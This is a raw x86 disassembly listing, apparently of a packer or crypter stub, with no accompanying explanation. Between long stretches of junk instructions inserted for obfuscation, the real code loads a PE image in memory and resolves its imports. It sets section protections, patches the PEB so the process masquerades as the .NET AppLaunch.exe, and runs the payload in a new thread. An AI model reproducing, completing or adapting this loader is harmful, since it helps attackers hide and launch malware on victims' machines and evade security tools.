rcl edi, 0x55
inc eax
inc esi
rcl edi, 0x1d
and eax, 0xff
rcr edi, 0x92
ror ebx, 0x8e
neg esi
not edi
not edi
dec ebx
sbb edx, 0x27
imul edi
mov esi, 0x47
rol esi, 0x79
sub edi, 0x4b
not eax
rol ebx, 0xd4
rol edx, 0x70
imul edx
and edi, 0x8b
rol esi, 0xd6
not edx
or eax, 0x2b
or edi, 0x93
not eax
neg edx
neg ebx
mov edi, 0xfc
neg eax
and edx, 0xc3
sub ebx, 0xd5
imul edx
sub edi, 0xab
rcr eax, 0xb
inc eax
imul eax
neg esi
sub edi, 0xcf
dec edi
bswap ebx
imul edx
imul edx
inc esi
add edx, 0x42
or eax, 0xc8
inc esi
not esi
and esi, 0xbd
or eax, 0x76
dec eax
imul esi
rol esi, 0xbd
inc esi
bswap eax
imul edi
or ebx, 0x4c
dec eax
bswap eax
imul ebx
neg edx
not edi
neg ebx
add eax, 0x96
ror esi, 0x83
mov edx, 0x56
ror edx, 0x63
dec eax
mov esi, pe_nt_image_headers32
sbb esi, 0xde
not eax
bswap edx
bswap eax
rol esi, 0x2a
rol esi, 0xc3
sub esi, 0xf6
bswap ebx
sbb esi, 0x48
ror eax, 0x5c
dec edx
ror eax, 0xb8
add edi, 0x2f
rcr ebx, 0x80
mov edi, 0xd0
and edi, 0x98
and ebx, 0x40
dec edx
inc esi
rol edx, 0x2d
sub esi, 0x96
bswap ebx
dec esi
imul esi
or eax, 0xdf
imul esi
not ebx
not eax
neg esi
rol eax, 0xde
mov eax, 0x2e
and edx, 0x43
bswap edi
or edx, 0x37
and eax, 0xa6
rcr edi, 0x1c
ror esi, 0x21
not edx
inc edx
rcl esi, 0x97
and ebx, 0xc2
not edi
rol ebx, 0x1e
neg edx
bswap edi
inc ebx
rcl esi, 0x37
mov esi, 0xa9
ror eax, 0x3d
mov eax, dword [ebp - 0x70]
mov edx, dword [eax + 0x80]
mov eax, dword [ebp - 0x74]
add eax, edx
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x38], 0
jmp 0x40397b
mov edx, dword [ebp - 0x38]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 2
mov edx, eax
mov eax, dword [ebp - 0x88]
add eax, edx
mov edx, dword [eax + 0xc]
mov eax, dword [ebp - 0x74]
add eax, edx
mov dword [ebp - 0xa8], eax
mov eax, dword [ebp - 0xa8]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call eax
sub esp, 4
mov dword [ebp - 0xac], eax
cmp dword [ebp - 0xac], 0
je 0x403976
mov edx, dword [ebp - 0x38]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 2
mov edx, eax
mov eax, dword [ebp - 0x88]
add eax, edx
mov edx, dword [eax + 0x10]
mov eax, dword [ebp - 0x74]
add eax, edx
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0x3c], 0
jmp 0x403958
mov eax, dword [ebp - 0x3c]
lea edx, [eax*4]
mov eax, dword [ebp - 0xb0]
add eax, edx
mov edx, dword [eax]
mov eax, dword [ebp - 0x74]
add eax, edx
mov dword [ebp - 0xb4], eax
mov eax, dword [ebp - 0x3c]
lea edx, [eax*4]
mov eax, dword [ebp - 0xb0]
add eax, edx
mov eax, dword [eax]
movzx eax, ax
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xac]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0
jne 0x403926
mov eax, dword [ebp - 0xb4]
add eax, 2
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xac]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x40], eax
mov edx, dword [ebp - 0x38]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 2
mov edx, eax
mov eax, dword [ebp - 0x88]
add eax, edx
mov edx, dword [eax + 0x10]
mov eax, dword [ebp - 0x74]
add edx, eax
mov eax, dword [ebp - 0x3c]
shl eax, 2
add eax, edx
mov edx, eax
mov eax, dword [ebp - 0x40]
mov dword [edx], eax
add dword [ebp - 0x3c], 1
mov eax, dword [ebp - 0x3c]
lea edx, [eax*4]
mov eax, dword [ebp - 0xb0]
add eax, edx
mov eax, dword [eax]
test eax, eax
jne 0x4038ad
jmp 0x403977
nop
add dword [ebp - 0x38], 1
mov edx, dword [ebp - 0x38]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 2
mov edx, eax
mov eax, dword [ebp - 0x88]
add eax, edx
mov eax, dword [eax + 0x10]
test eax, eax
jne 0x403831
rcr edx, 0x93
inc edx
dec edx
imul eax
ror eax, 0x8b
bswap edx
inc esi
add eax, 0x7d
sbb edx, 0x9c
ror ebx, 0xb6
rol edi, 0x89
sub eax, 0xc3
not edi
rol eax, 0x48
mov eax, 0x52
inc edx
not esi
rcl eax, 0x58
ror edi, 0x2c
add edx, 1
add eax, 0x93
dec eax
and edi, 0x41
sbb ebx, 0xfe
dec eax
sbb eax, 0xdf
rol edi, 0xc7
inc esi
imul esi
or eax, 0x2b
inc ebx
bswap esi
sbb esi, 0xc3
ror edi, 0xfd
or eax, 0xee
neg edi
rcr esi, 0xf0
not ebx
mov edi, 0xf
not eax
rcr edi, 0xc
not edi
dec ebx
rol ebx, 0xf6
sbb esi, 1
rcr ebx, 0x8c
sbb edx, 0xe
dec edx
rcr esi, 0x86
not edx
sbb ebx, 0x1b
sbb edx, 0x25
add esi, 0x19
rcl esi, 0x9a
and eax, 0x63
mov edi, 0x3d
sbb edx, 0x16
ror esi, 7
neg edi
rol edi, 0x43
inc edx
and edx, 0xe5
add ebx, 0x87
imul ebx
rcr eax, 0x2e
sbb ebx, 0x5c
and edx, 0x17
rcr esi, 0xa9
rcr edx, 0x8a
bswap eax
sbb edx, 0xbd
inc ebx
dec ebx
sub esi, 0xcf
sbb ebx, 0x68
bswap edi
ror ebx, 0x26
bswap edx
imul edi
bswap ebx
ror eax, 0x81
rol edx, 0x24
rcl eax, 0x25
neg eax
dec esi
sub edx, 0x12
imul edi
inc eax
and edx, 0x1e
neg eax
and esi, 0x2a
dec esi
or ebx, 0xb0
sbb ebx, 0xc0
or edx, 0x7f
not ebx
bswap edx
sbb edx, 0x61
sbb edx, 0xc1
neg edx
neg ebx
sbb ebx, 0x17
ror esi, 0xb2
rcr edi, 0x4b
mov esi, 0xb0
rol eax, 0xed
add edi, 0xe1
not edi
not ebx
neg esi
imul edi
dec eax
rol ebx, 0x12
not ebx
add edx, 0xf5
neg eax
sbb ebx, 0x9d
sbb edi, 0x23
rcr edx, 6
dec edi
rol edi, 0xc6
ror ebx, 0x37
neg ebx
imul esi
or esi, 0x60
rol esi, 0x3a
neg edi
rol edx, 0xde
not edx
sub edx, 0xa4
dec esi
mov edx, 0xce
rcr edi, 0x3f
not eax
imul eax
mov edi, 0xbf
ror edi, 0xd5
add edi, 0x74
rol ebx, 0x4a
or edx, 0x25
neg esi
inc ebx
rol edx, 0x63
sbb edx, 0x3d
bswap edx
mov ebx, 0x41
not edi
not edi
neg edi
ror edi, 0x42
mov dword [ebp - 0x44], 0
jmp 0x403c63
mov dword [ebp - 0x48], 0x40
mov edx, dword [ebp - 0x44]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x78]
add eax, edx
mov eax, dword [eax + 0x24]
mov dword [ebp - 0xa4], eax
mov eax, dword [ebp - 0xa4]
and eax, 0x40000000
test eax, eax
je 0x403bae
mov eax, dword [ebp - 0xa4]
test eax, eax
jns 0x403bae
mov eax, dword [ebp - 0xa4]
and eax, 0x20000000
test eax, eax
je 0x403bae
mov dword [ebp - 0x48], 0x40
jmp 0x403c0d
mov eax, dword [ebp - 0xa4]
and eax, 0x40000000
test eax, eax
je 0x403bd0
mov eax, dword [ebp - 0xa4]
test eax, eax
jns 0x403bd0
mov dword [ebp - 0x48], 4
jmp 0x403c0d
mov eax, dword [ebp - 0xa4]
and eax, 0x40000000
test eax, eax
je 0x403bf7
mov eax, dword [ebp - 0xa4]
and eax, 0x20000000
test eax, eax
je 0x403bf7
mov dword [ebp - 0x48], 0x20
jmp 0x403c0d
mov eax, dword [ebp - 0xa4]
and eax, 0x40000000
test eax, eax
je 0x403c0d
mov dword [ebp - 0x48], 2
mov edx, dword [ebp - 0x44]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x78]
add eax, edx
mov ecx, dword [eax + 8]
mov edx, dword [ebp - 0x44]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0x78]
add eax, edx
mov edx, dword [eax + 0xc]
mov eax, dword [ebp - 0x74]
add eax, edx
mov edx, eax
lea eax, [ebp - 0xd8]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x48]
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call sym.MyVirtualProtect_void__unsigned_long__unsigned_long__unsigned_long_
add dword [ebp - 0x44], 1
mov eax, dword [ebp - 0x70]
movzx eax, word [eax + 6]
movzx eax, ax
cmp dword [ebp - 0x44], eax
jl 0x403b59
imul edi
rcr eax, 0x56
imul edx
dec esi
bswap eax
or esi, 0xd0
imul eax
not ebx
imul edx
and eax, 0x57
add edi, 0x24
sub edx, 0
mov ebx, 0xd1
sub edx, 0x40
bswap edx
bswap edi
dec eax
rol ebx, 0x40
inc edi
not eax
ror edi, 0xa2
and edi, 0xaf
neg ebx
imul esi
inc edi
rcr esi, 0xf0
not esi
not ebx
inc edi
sbb edx, 0x66
imul ebx
rol ebx, 0xae
ror edi, 0xb5
not ebx
imul esi
imul eax
imul esi
sub ebx, 0x85
neg ebx
dec edx
neg esi
rcl esi, 0xdc
sbb esi, 0x45
bswap eax
imul edx
rcr edx, 0x87
inc edx
neg edi
imul edi
ror eax, 0xf6
not edx
dec esi
rol ebx, 0x6d
mov esi, 0x7f
neg esi
bswap esi
sbb ebx, 0x3f
rcr eax, 5
sbb eax, 0xf9
neg eax
inc edx
neg eax
bswap eax
bswap edi
rol esi, 0xeb
sub ebx, 0x7c
imul esi
bswap eax
dec edi
mov esi, 0xbd
dec edx
inc edi
and eax, 0xbf
rcl eax, 0x84
mov edx, 0x81
neg edx
sbb edx, 0x28
ror edx, 0xd7
sbb esi, 0x30
bswap esi
bswap eax
and esi, 0x85
rol edi, 0x5b
ror eax, 0x90
bswap esi
inc ebx
imul ebx
not esi
bswap edx
rcl ebx, 0xba
rcl eax, 0xec
dec esi
ror edx, 0x58
not esi
and edx, 0xaf
ror edi, 0x94
rol edx, 0x72
neg ebx
rcr esi, 0x1d
sub edi, 0x30
or ebx, 0xd0
neg ebx
inc edi
sbb eax, 0xb3
imul ebx
add edx, 0x80
neg edi
rol ebx, 0x9a
and edi, 0x49
rol edx, 0x48
rcl edx, 0x2a
bswap ebx
neg edx
inc edx
dec edx
inc edi
not edx
mov edx, 0x3a
mov esi, 0
mov edx, 0xba
imul ebx
rol ebx, 0x9d
inc eax
ror edx, 0xf
dec ebx
imul edi
rol ebx, 0xac
and edi, 0xe0
not edi
rcl edi, 0xf
rcr ebx, 0x8d
rcl edi, 0x40
imul edx
imul ebx
ror esi, 0xc4
and edi, 0xa1
imul edx
and esi, 0xb3
rcr ebx, 0x4d
sub esi, 0x91
not edx
rol esi, 0x72
rcr ebx, 0xc4
or esi, 0x77
mov ebx, 0x1f
sub edi, 0xdc
sbb eax, 0x33
rcl esi, 0x14
mov esi, 0xc9
dec esi
mov dword [ebp - 0xb8], 0x30
mov eax, dword [ebp - 0xb8]
mov eax, dword fs:[eax]
mov dword [ebp - 0xbc], eax
mov eax, dword [ebp - 0xbc]
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 0x8c]
add eax, 0xc
mov eax, dword [eax]
mov dword [ebp - 0x90], eax
mov eax, dword [ebp - 0x90]
add eax, 0x14
mov eax, dword [eax]
sub eax, 8
mov dword [ebp - 0x94], eax
rol ebx, 0x5e
sub edx, 0xdb
dec eax
dec ebx
rcr ebx, 0xbb
dec eax
ror esi, 0x88
sbb edi, 0x52
ror ebx, 0xed
rcl eax, 0x86
or edi, 0x33
imul edi
sub esi, 0x3d
sbb ebx, 0xe2
mov esi, 1
dec edx
mov eax, 0xfb
rcl ebx, 0xf5
bswap ebx
sub esi, 0
mov edx, 0x5e
mov edi, 5
ror eax, 0x33
rol eax, 0x38
inc esi
bswap edi
ror ebx, 0x6d
not edi
sbb ebx, 0xac
rcl edx, 0xbf
not ebx
or esi, 0xfa
ror esi, 4
add edi, 0xdb
rcr eax, 0xee
inc esi
add edi, 0x48
dec ebx
neg esi
neg ebx
inc edi
bswap edx
sbb edi, 0xb8
and esi, 0xb6
not esi
ror esi, 0x3a
imul eax
bswap ebx
not edx
bswap edx
bswap esi
imul ebx
not edi
dec ebx
sbb edx, 0xc8
neg ebx
rol esi, 0xd9
rol esi, 0x82
inc edx
dec esi
bswap edx
dec ebx
inc eax
dec eax
rcr esi, 0x86
bswap edi
rcr eax, 0xb9
not ebx
bswap eax
not edx
bswap eax
rcl edi, 0xd6
add esi, 0x6f
dec edi
imul edi
bswap eax
dec edx
add edi, 0xa2
imul edx
dec edi
not edi
imul edi
dec eax
sbb eax, 0x46
imul edx
dec ebx
rcr edi, 0xd8
sub esi, 0x5a
inc esi
imul eax
neg ebx
sbb edi, 0x67
rcl ebx, 0x3c
mov esi, 0x26
dec edx
and eax, 0xb7
rcr edx, 0x94
rol esi, 0xba
bswap edx
imul esi
inc edi
not edi
bswap edi
ror ebx, 0xb3
rcl esi, 0xf8
rcl edx, 0x26
bswap ebx
inc edi
or eax, 0xd3
bswap edx
not edx
dec edi
imul edi
rcr edi, 0xc3
neg edi
sub eax, 0x99
inc eax
or edx, 0xf
inc ebx
inc edi
imul ebx
rcr eax, 0xb1
neg edx
mov ebx, 0xc0
ror edx, 0x89
rol ebx, 0x91
neg edi
add eax, 0x22
sub edx, 0x4f
sbb eax, 0xe8
neg edi
mov eax, 0x94
and edx, 0xf5
sub esi, 0x4d
sub eax, 0x19
imul eax
bswap esi
sub edi, 0xd5
add edx, 0x88
bswap ebx
dec ebx
neg edi
inc ebx
mov edi, 0x52
not edx
imul esi
bswap edx
not ebx
neg edi
ror edi, 0x5a
mov eax, dword [ebp - 0x8c]
add eax, 8
mov edx, eax
mov eax, dword [ebp - 0x74]
mov dword [edx], eax
mov eax, dword [ebp - 0x94]
add eax, 0x18
mov edx, eax
mov eax, dword [ebp - 0x74]
mov dword [edx], eax
mov eax, dword [ebp - 0x94]
add eax, 0x24
mov dword [ebp - 0x98], eax
bswap edx
and eax, 0x62
mov eax, 0xe2
and ebx, 0x3f
sbb edx, 0x27
and eax, 0xa0
dec edi
bswap eax
not edx
rcl edi, 0xdf
and eax, 0x3d
rcr edi, 0xbc
inc edx
or edx, 0x14
rol eax, 0xff
rol edi, 0x66
rol eax, 0xc8
sub edi, 0xa
mov esi, 0xc3
add edx, 0x5a
not edx
not edx
rol eax, 0x9b
or eax, 0xbb
neg edi
rcr eax, 0xfa
rcl ebx, 0x1c
sub edi, 0xd5
dec edx
bswap edx
or eax, 0xc4
dec ebx
not esi
bswap edi
or edi, 0xd2
sub esi, 0x44
and esi, 0x12
neg eax
mov edi, 0x95
dec edi
not eax
not edi
rol esi, 0x3f
neg eax
sub eax, 0xa7
bswap eax
inc esi
imul esi
rol eax, 0x5a
neg ebx
rol esi, 0xbf
inc edi
sub eax, 0xeb
mov edx, 0x35
add ebx, 0x2d
imul eax
bswap edx
add esi, 0xd
neg eax
not eax
rcr esi, 0xd8
not esi
sbb eax, 0xcb
sub ebx, 0x35
bswap eax
bswap eax
neg esi
mov eax, 0x5c
and edi, 0x9b
imul edx
rcr edx, 0x12
inc ebx
dec edx
and eax, 0xbe
rcl edx, 0x1b
mov edx, 0x9c
inc ebx
not esi
ror edx, 0x5c
not ebx
ror eax, 0x29
inc edi
not edi
inc edi
rol eax, 0xbc
rol eax, 0x4e
sub esi, 0x44
bswap edi
or edx, 0xa2
neg edx
bswap ebx
or edi, 0x2a
neg edi
neg edx
rcr ebx, 0xb5
ror eax, 0xf5
bswap edi
neg ebx
rcr eax, 0x25
dec esi
rol eax, 0x7d
ror esi, 0xc3
ror ebx, 0x4b
rcl eax, 0xda
ror edi, 0xa6
bswap ebx
dec ebx
dec ebx
bswap edx
imul edi
dec edi
rcl ebx, 0x8a
or edx, 0x50
mov edx, 0x2b
rol ebx, 0x17
ror ebx, 0xe8
rcl eax, 0xda
imul eax
imul eax
not ebx
neg esi
rol edi, 0xde
neg esi
bswap edi
neg eax
or esi, 0x6c
bswap edx
dec edi
not edx
ror eax, 0xfc
or edx, 0x2c
rol edi, 0x95
dec esi
imul esi
dec edi
imul ebx
or esi, 0xaa
sub esi, 0xa0
mov eax, 7
add esi, 0xb3
add edi, 0x9e
dec edi
rol esi, 0x23
neg edi
inc esi
neg ebx
rcl edx, 0xec
inc eax
not eax
bswap edi
lea eax, [ebp - 0x44b58]
mov ebx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319AppLaunch.exe
mov edx, 0x1e
mov edi, eax
mov esi, ebx
mov ecx, edx
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x70]
mov eax, dword [eax + 0xe8]
test eax, eax
setne al
mov byte [ebp - 0x99], al
cmp byte [ebp - 0x99], 0
je 0x404235
mov dword [esp + 8], 8
mov eax, dword [ebp - 0x98]
mov dword [esp + 4], eax
lea eax, [ebp - 0xe0]
mov dword [esp], eax
call sym._memcpy
mov eax, dword [ebp - 0x98]
lea edx, [ebp - 0x44b58]
mov dword [eax + 4], edx
lea eax, [ebp - 0x44b58]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_lstrlenW]
call eax
sub esp, 4
lea edx, [eax + eax]
mov eax, dword [ebp - 0x98]
mov word [eax], dx
bswap eax
neg edx
sbb ebx, 2
mov eax, 0xce
add edx, 0x8c
or edi, 0x37
imul edi
mov esi, 0xdc
bswap ebx
not edx
inc edx
inc eax
or eax, 0xdf
rol ebx, 0x1f
dec edi
and esi, 0xe0
rcl esi, 0x4e
neg edi
neg ebx
mov ebx, 0x44
and edx, 0x4f
not edi
imul edx
inc esi
dec eax
rcr edx, 0x68
add ebx, 0x7f
and edx, 0x68
mov esi, 0x2c
rcr esi, 0xc2
mov edi, 0xd4
sbb edi, 0x7c
rol ebx, 0x66
dec edi
bswap esi
rol ebx, 0xce
sbb eax, 0xb4
inc esi
bswap eax
sub edi, 0xe4
imul edx
sub eax, 0x27
rcr eax, 0x67
inc esi
bswap edx
mov edx, 0xe
dec edi
ror edi, 0xb8
ror ebx, 0x4e
sub ebx, 0x67
ror edi, 0x91
imul ebx
not esi
dec ebx
imul ebx
ror esi, 0x40
sbb ebx, 0x23
or esi, 0x8b
or edi, 0x74
sub edx, 0x92
rcr ebx, 0x4f
add eax, 0x1d
bswap esi
bswap edx
sub edi, 0x2d
rcl edi, 0xec
dec ebx
sbb edx, 0x2c
or eax, 0xc3
rol eax, 0x50
rcl edi, 0x36
inc eax
sbb ebx, 0x25
imul ebx
rol esi, 0x2a
neg edx
add esi, 0xe4
mov ebx, 5
sub eax, 0x35
sub edx, 0x71
inc eax
dec edi
not esi
not edx
not esi
inc eax
rcl esi, 0xf3
rcl esi, 0x54
rcl edx, 0xbb
bswap edx
dec ebx
sbb edi, 0x52
neg ebx
and esi, 0x41
mov edx, 8
bswap eax
mov esi, 5
mov esi, 0x30
rcr esi, 0xcb
imul edx
neg edi
bswap edx
sub ebx, 0x33
inc esi
add ebx, 0x86
sub edx, 0x5f
not eax
neg edi
add esi, 0xd4
and edx, 0x1e
and edi, 0x53
sbb edi, 0xae
not edi
dec ebx
add esi, 0xc2
and edx, 0x97
not edi
ror ebx, 0x15
add edi, 0x64
sbb edx, 0x98
not edx
imul esi
or ebx, 0x66
sub eax, 0xc9
mov edi, 4
mov ebx, 0xea
not ebx
ror eax, 0x8f
neg ebx
sbb ebx, 0xa8
dec edx
imul ebx
or edx, 0x39
add esi, 0x1c
dec edx
dec ebx
inc esi
inc edx
dec esi
rol ebx, 0x63
imul edx
rcl esi, 0x29
dec ebx
inc ebx
sbb esi, 0xef
sbb edx, 0xd5
rcl esi, 0x73
mov esi, 0xd7
or edx, 0x28
not eax
mov eax, dword [ebp - 0x70]
mov edx, dword [eax + 0x28]
mov eax, dword [ebp - 0x74]
add eax, edx
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov dword [ebp - 0xa0], eax
cmp byte [ebp - 0x99], 0
je 0x40446a
mov dword [esp], 0x64
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
mov dword [esp + 8], 8
lea eax, [ebp - 0xe0]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x98]
mov dword [esp], eax
call sym._memcpy
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0xa0]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call eax
sub esp, 8
imul eax
imul edx
rcr ebx, 0x10
rcl edi, 0xb5
imul esi
ror esi, 0xa4
bswap esi
add edi, 0x43
add edx, 0x18
ror esi, 0x3f
rcr edx, 0xee
imul ebx
inc edx
sbb esi, 0x64
not esi
dec edi
and ebx, 0xd0
neg ebx
sub edi, 0xad
rol edx, 0xef
mov edx, 0x2b
sub edi, 0x6f
bswap edi
rcl eax, 0xb2
mov edx, 0x9c
bswap esi
or edx, 0x50
sub eax, 0x8f
ror edx, 0x59
neg edx
dec ebx
and edi, 0xe6
or edi, 0x29
bswap esi
inc eax
rol ebx, 0xa1
neg eax
dec ebx
or ebx, 0x27
imul edi
neg esi
or edx, 0xc7
neg edx
or ebx, 0x37
not esi
sbb edx, 0x3d
sub eax, 0x61
not ebx
inc ebx
imul esi
bswap edx
inc edi
dec edi
sub edx, 0x1b
and eax, 0xd4
dec edx
rol edi, 0xfc
not edi
add edi, 0xf7
rcl edx, 9
bswap edx
mov edx, 0xc
not esi
and edx, 0xc7
mov ebx, 0x6d
bswap esi
add eax, 0x12
mov eax, 0x6b
not edx
or edi, 0xf3
rcl edi, 0xbb
inc eax
add esi, 0x97
add esi, 0xd5
imul ebx
neg esi
sub ebx, 0x75
neg edx
inc ebx
bswap ebx
and edi, 0xa0
dec esi
rol edx, 0x16
neg edi
bswap eax
sub edx, 0xc8
imul esi
not edi
add ebx, 0xc
and esi, 0xb7
dec edi
rol ebx, 0xe0
neg ebx
mov edx, 0xae
dec esi
rol ebx, 0x1a
add edi, 0x9b
imul edx
neg ebx
add esi, 0x70
dec esi
add esi, 0x36
not edx
add eax, 0xcd
mov edi, 0
sbb edx, 0x6a
sub edx, 0xc4
add edi, 0xc9
or esi, 0xc8
imul eax
dec eax
dec edi
dec eax
and ebx, 0xcc
bswap eax
sub ebx, 1
rcr edx, 0xd
dec eax
mov edi, 0xf1
sub edx, 0x26
neg edx
sub eax, 0xf4
mov eax, 0xd9
dec ebx
inc edi
or edx, 0x49
or esi, 0x7a
sbb edx, 0x9e
sub esi, 0x4c
imul eax
dec edi
mov edi, 0xf4
sbb edi, 0x9c
rcl eax, 0x23
bswap edx
mov ebx, 0x47
imul eax
not eax
imul edi
or edx, 0x3b
bswap esi
rcr eax, 0x89
not edi
sub edx, 2
imul esi
inc esi
rcr ebx, 0xf2
rcl ebx, 5
neg edi
mov edi, 0xb5
mov eax, 0
jmp 0x40464e
mov eax, 0
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret